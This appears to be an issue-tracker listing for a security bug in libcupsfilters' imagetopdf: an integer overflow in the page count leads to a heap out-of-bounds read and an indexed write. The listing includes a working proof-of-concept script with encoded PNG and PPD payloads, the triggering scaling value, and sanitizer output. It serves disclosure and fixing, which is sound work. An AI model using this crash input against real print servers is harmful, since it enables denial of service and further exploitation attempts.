OpenPrinting / OpenPrinting/libcupsfilters
imagetopdf: page-count multiplication undersizes page-object state
Nobody has claimed this yet.
- Dominant language
- C
- Stars
- 17
- Forks
- 71
- Avg merge
- 2d 17h
- Merged PRs (30d)
- 13
Description
Summary
Extreme image scaling creates a page grid whose cardinality exceeds signed
32-bit arithmetic. The wrapped page count allocates only 65,536 PDF page
object entries, while the output loops retain the original 65,537 by 65,536
dimensions and read beyond that allocation.
The out-of-bounds integer is immediately passed as a PDF object index.
Temporary instrumentation confirms that a plain build executes the resulting
indexed write through set_offset(). The archived run reliably crashes, but
the index comes from allocator-adjacent data rather than controlled PNG bytes;
controlled code execution has not been demonstrated.
Reproduction
Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.
Validated revisions:
- cups-filters:
11d1a190530f85a361a1b3835f57d635256dff1a - libcupsfilters:
905fd94fb22a9298bc8e2c845eb7e04f7055b686 - libppd:
522af8dd135f4dde66b1aac8b9d067808bbe122d
poc/document.png is a valid 139-by-199 grayscale PNG with SHA-256
d80c556cf1bfe5b374fcbf945cb14c751e9d4a8656b33fcfd468a5ec0106a58f.
Run:
./reproduce.sh
The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.
#!/usr/bin/env bash
set -euo pipefail
# PoC: imagetopdf: page-count multiplication undersizes page-object state
# Finding ID: imagetopdf-page-count-integer-overflow
# Trigger: Extreme image scaling creates a page grid whose cardinality exceeds
# signed 32-bit arithmetic. The wrapped page count allocates only 65,536 PDF
# page object entries, while the output loops retain the original 65,537 by
# 65,536 dimensions and read beyond that allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.
OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"
for tool in base64 gzip sha256sum; do
command -v "$tool" >/dev/null || {
printf 'missing required tool: %s\n' "$tool" >&2
exit 1
}
done
write_file() {
local name="$1"
local expected_sha256="$2"
local path="$OUTPUT_DIR/$name"
local actual_sha256
mkdir -p "$(dirname "$path")"
base64 --decode | gzip --decompress > "$path"
actual_sha256="$(sha256sum "$path")"
actual_sha256="${actual_sha256%% *}"
if [[ "$actual_sha256" != "$expected_sha256" ]]; then
printf 'SHA-256 mismatch for %s\n' "$path" >&2
return 1
fi
printf '%s %s bytes sha256=%s\n' \
"$path" "$(wc -c < "$path")" "$actual_sha256"
}
# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (249 bytes)
write_file document.png d80c556cf1bfe5b374fcbf945cb14c751e9d4a8656b33fcfd468a5ec0106a58f <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0t1AfJwDSDDwvPhvAqQOeLo4hlTMeXtuISODAs+B
DbXnXke42AifZZ25+fgfPptdEeKvk2LXdJdu1Lt2dPBxbpfsnCI4tz/zz8sYkJ88Xf1c1jklNAEA
yDQ1RvkAAAA=
POC_PAYLOAD_0
# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (2278 bytes)
write_file printer.ppd c1a6d5622f4a422bcbb81b393e42287a5c661331c924e1b27b29599022b135c5 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA61VXW/aMBR951dYfSpIrfmsGKomFWg7tAJZoZOmaQ9uuASrxo4cp4L++l3bQEKJ
0mqaBA4+x/ec45sQ14JgeHGzUM/QI2fty9ZZpXan9JqZn6ATrmSGcgEZ1risI/bAZJSyKMNvZSR4
ssqYWxmqBZdRj4xm0wdmuGxUamMm0yULTapBo9ZsPL+4S9/eQKPkWC1ATNjaxhmtUWGuHlliQJOB
egWNAJnGBs0SXDxbKW0mPHzZFaDSHNaxYAaQzREfKgUDu79MBrtyiV/LaLVIQ4PweU6+aplZ1o/z
Vr1RrxLblDCNkwOBffKI31e6frZb3mPYByYGKuaQ9MgdEwl4ArMY1xpuc9PNRYz7ZM8CLpjcrllM
6sQxRmm3I3SdxiCfRqQ2UEJpZ9YjATZgKlFzCEuWCpPnHu/7ldxicq/ZltoBXa+vqU3h2FnMQiCN
rkP63CQBaEeQIyjgGxTpfv2agIkx2QJeeWhvQs4CLSl+iw0+pd9slxoMxr++UzsUWlx9yqLVLLXo
Cxa+UDcWmrT+uU9CJfA06uXvYHZXA82l+YEPCzfb0/t6zA41W5rKUYnHqBuz2CNpIAJdJ63TOEfV
E/tCENRfCurbH9R/49GK2qGgtvNBbbBSRlE3FlRflTUyr5O1cgwLzubbGE77mKcE47KSLfYAdaPP
caDOHVg9TZIV32OmBP9e7vK+3KOl9XPNZBIzDTLc0vzkvVaeK1W8la8gVAx0/+O90h6vlnX4sDxr
7zCNBWxOe7vHJ8qBbuYmdLpcevMduLTvwVPXHesvEzXHV6kA+qBkRGARwZGE0SlQv+JTcjsxd5yU
q9nfZR3xJbk/Li6b8beChy1jbtqVwzqceO898LvzpUO67eYfas8wPEn7fbUhMhWi9NHfVR8HeYTI
HUpFUfbcPoyf/8c4XvDg6U5ke6TdaGDe9gjyzo0mwU+n2yLdlj1bD4Fj0EO+BpnkQucxX74Le1b5
C4IvvhXmCAAA
POC_PAYLOAD_1
Result
With natural-scaling=74820853, the filter derives xpages=65537 and
ypages=65536. UBSan reports signed multiplication overflow at
imagetopdf.c:1573 and 1583. ASan then reports a four-byte heap-buffer-
overflow read at line 1855, exactly after the 262,144-byte pageObjects
allocation. The plain build exits with SIGSEGV, status 139.
The glibc allocation has 66,556 usable integer slots. Logical OOB entries
65,536 through 66,555 read padding zeros and repeatedly rewrite
objects[0].offset; entry 66,556 reads 722438103 in the traced run and the
assignment to objects[722438103].offset faults. primitive-trace.txt
preserves the final observations.
This is a reliable job-level crash and a real read-to-indexed-write chain, but
the value read beyond pageObjects has not been made attacker-selected.
Cause and expected behavior
natural-scaling is applied without a useful upper bound at
imagetopdf.c:1220-1224. Lines 1387-1388 derive two signed page counts.
Their product wraps from 4,295,032,832 to 65,536 when passed to
out_prologue() at line 1583, and alloc_page_objects() allocates only the
wrapped count.
The nested output loops at lines 1818-1819 use the original dimensions.
Entry 65,537 therefore evaluates doc.pageObjects[doc.page] outside the
allocation at line 1855. out_page_object() passes that integer to
set_offset(), which uses it as an index into doc->objects.
All cardinality arithmetic must use checked size_t operations, enforce a
reasonable page limit, and preserve one validated count for allocation and
iteration.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with reproduce.sh and the ASan/UBSan output, then inspect imagetopdf.c around lines 1220-1224, 1387-1388, 1573, 1583, and 1818-1855. Trace how page counts reach allocation and iteration, using the supplied PoC to confirm the failure. Done means oversized cardinality is rejected or safely handled without out-of-bounds access, with allocation and iteration using one validated count.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- c
- Domain
- backend, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Quiet
- Clarity
- Clearly specified
- Newbie friendliness
- 48/100